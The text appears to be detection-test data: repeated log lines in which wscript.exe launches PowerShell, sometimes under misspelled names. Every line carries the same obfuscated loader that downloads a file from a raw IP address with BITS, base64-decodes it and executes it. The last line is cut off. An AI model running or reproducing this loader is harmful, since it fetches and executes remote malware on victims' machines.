parent_process wscript.exe martian_process powers€ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersrell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersiell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powers?ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powerssell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powerswell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powers|ell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powersmell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
parent_process wscript.exe martian_process powerslell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d 